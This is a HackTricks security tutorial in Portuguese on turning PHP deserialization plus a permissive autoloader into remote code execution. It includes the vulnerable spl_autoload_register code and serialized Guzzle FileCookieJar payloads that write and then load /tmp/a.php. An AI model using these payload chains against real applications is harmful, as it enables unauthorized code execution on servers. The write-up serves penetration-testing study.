# PHP - Desserialização + Classes de Autocarregamento
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras maneiras de apoiar o HackTricks: * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
Primeiro, você deve verificar o que são [**Classes de Autocarregamento**](https://www.php.net/manual/en/language.oop5.autoload.php). ## PHP desserialização + spl\_autoload\_register + LFI/Gadget Estamos em uma situação onde encontramos uma **desserialização PHP em um aplicativo da web** sem nenhuma biblioteca vulnerável a gadgets dentro do **`phpggc`**. No entanto, no mesmo contêiner, havia uma **outra aplicação da web do composer com bibliotecas vulneráveis**. Portanto, o objetivo era **carregar o carregador do composer da outra aplicação da web** e abusá-lo para **carregar um gadget que irá explorar aquela biblioteca com um gadget** da aplicação da web vulnerável à desserialização. Passos: * Você encontrou uma **desserialização** e **não há nenhum gadget** no código do aplicativo atual * Você pode abusar de uma função **`spl_autoload_register`** como a seguinte para **carregar qualquer arquivo local com extensão `.php`** * Para isso, você usa uma desserialização onde o nome da classe estará dentro de **`$name`**. Você **não pode usar "/" ou "."** em um nome de classe em um objeto serializado, mas o **código** está **substituindo** os **underlines** ("\_") **por barras** ("/"). Portanto, um nome de classe como `tmp_passwd` será transformado em `/tmp/passwd.php` e o código tentará carregá-lo.\ Um **exemplo de gadget** será: **`O:10:"tmp_passwd":0:{}`** ```php spl_autoload_register(function ($name) { if (preg_match('/Controller$/', $name)) { $name = "controllers/${name}"; } elseif (preg_match('/Model$/', $name)) { $name = "models/${name}"; } elseif (preg_match('/_/', $name)) { $name = preg_replace('/_/', '/', $name); } $filename = "/${name}.php"; if (file_exists($filename)) { require $filename; } elseif (file_exists(__DIR__ . $filename)) { require __DIR__ . $filename; } }); ``` {% hint style="success" %} Se você tiver um **upload de arquivo** e puder fazer o upload de um arquivo com a extensão **`.php`**, você pode **abusar dessa funcionalidade diretamente** e obter RCE facilmente. {% endhint %} No meu caso, eu não tinha nada assim, mas havia dentro do **mesmo contêiner** outra página da web do composer com uma **biblioteca vulnerável a um gadget `phpggc`**. * Para carregar essa outra biblioteca, primeiro você precisa **carregar o carregador do composer da outra aplicação web** (porque o da aplicação atual não terá acesso às bibliotecas da outra). **Sabendo o caminho da aplicação**, você pode fazer isso facilmente com: **`O:28:"www_frontend_vendor_autoload":0:{}`** (No meu caso, o carregador do composer estava em `/www/frontend/vendor/autoload.php`) * Agora, você pode **carregar** o carregador da **outra aplicação**, então é hora de **`gerar o payload phpgcc`** para usar. No meu caso, usei **`Guzzle/FW1`**, o que me permitiu **escrever qualquer arquivo no sistema de arquivos**. * NOTA: O **gadget gerado não estava funcionando**, para que funcionasse, eu **modifiquei** esse payload **`chain.php`** do phpggc e defini **todos os atributos** das classes **de privado para público**. Caso contrário, após desserializar a string, os atributos dos objetos criados não teriam nenhum valor. * Agora temos o caminho para **carregar o carregador da outra aplicação** e ter um **payload phpggc que funcione**, mas precisamos **fazer isso na MESMA REQUISIÇÃO para que o carregador seja carregado quando o gadget for usado**. Para isso, enviei um array serializado com ambos os objetos como: * Você pode ver **primeiro o carregador sendo carregado e depois o payload** ```php a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}} ``` * Agora, podemos **criar e escrever um arquivo**, no entanto, o usuário **não pôde escrever em qualquer pasta dentro do servidor web**. Portanto, como você pode ver no payload, o PHP chamando **`system`** com algum **base64** é criado em **`/tmp/a.php`**. Em seguida, podemos **reutilizar o primeiro tipo de payload** que usamos como LFI para carregar o carregador do composer do outro aplicativo da web **para carregar o arquivo `/tmp/a.php`** gerado. Basta adicioná-lo ao gadget de desserialização: ```php a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}} ``` {% endcode %} **Resumo da carga útil** * **Carregar o autoload do composer** de um aplicativo da web diferente no mesmo contêiner * **Carregar um gadget phpggc** para abusar de uma biblioteca do outro aplicativo da web (o aplicativo da web inicial vulnerável à desserialização não tinha nenhum gadget em suas bibliotecas) * O gadget irá **criar um arquivo com uma carga útil PHP** nele em /tmp/a.php com comandos maliciosos (o usuário do aplicativo da web não pode escrever em nenhuma pasta de nenhum aplicativo da web) * A parte final de nossa carga útil usará **carregar o arquivo php gerado** que executará comandos Eu precisei **chamar essa desserialização duas vezes**. Nos meus testes, na primeira vez o arquivo `/tmp/a.php` foi criado mas não carregado, e na segunda vez foi carregado corretamente.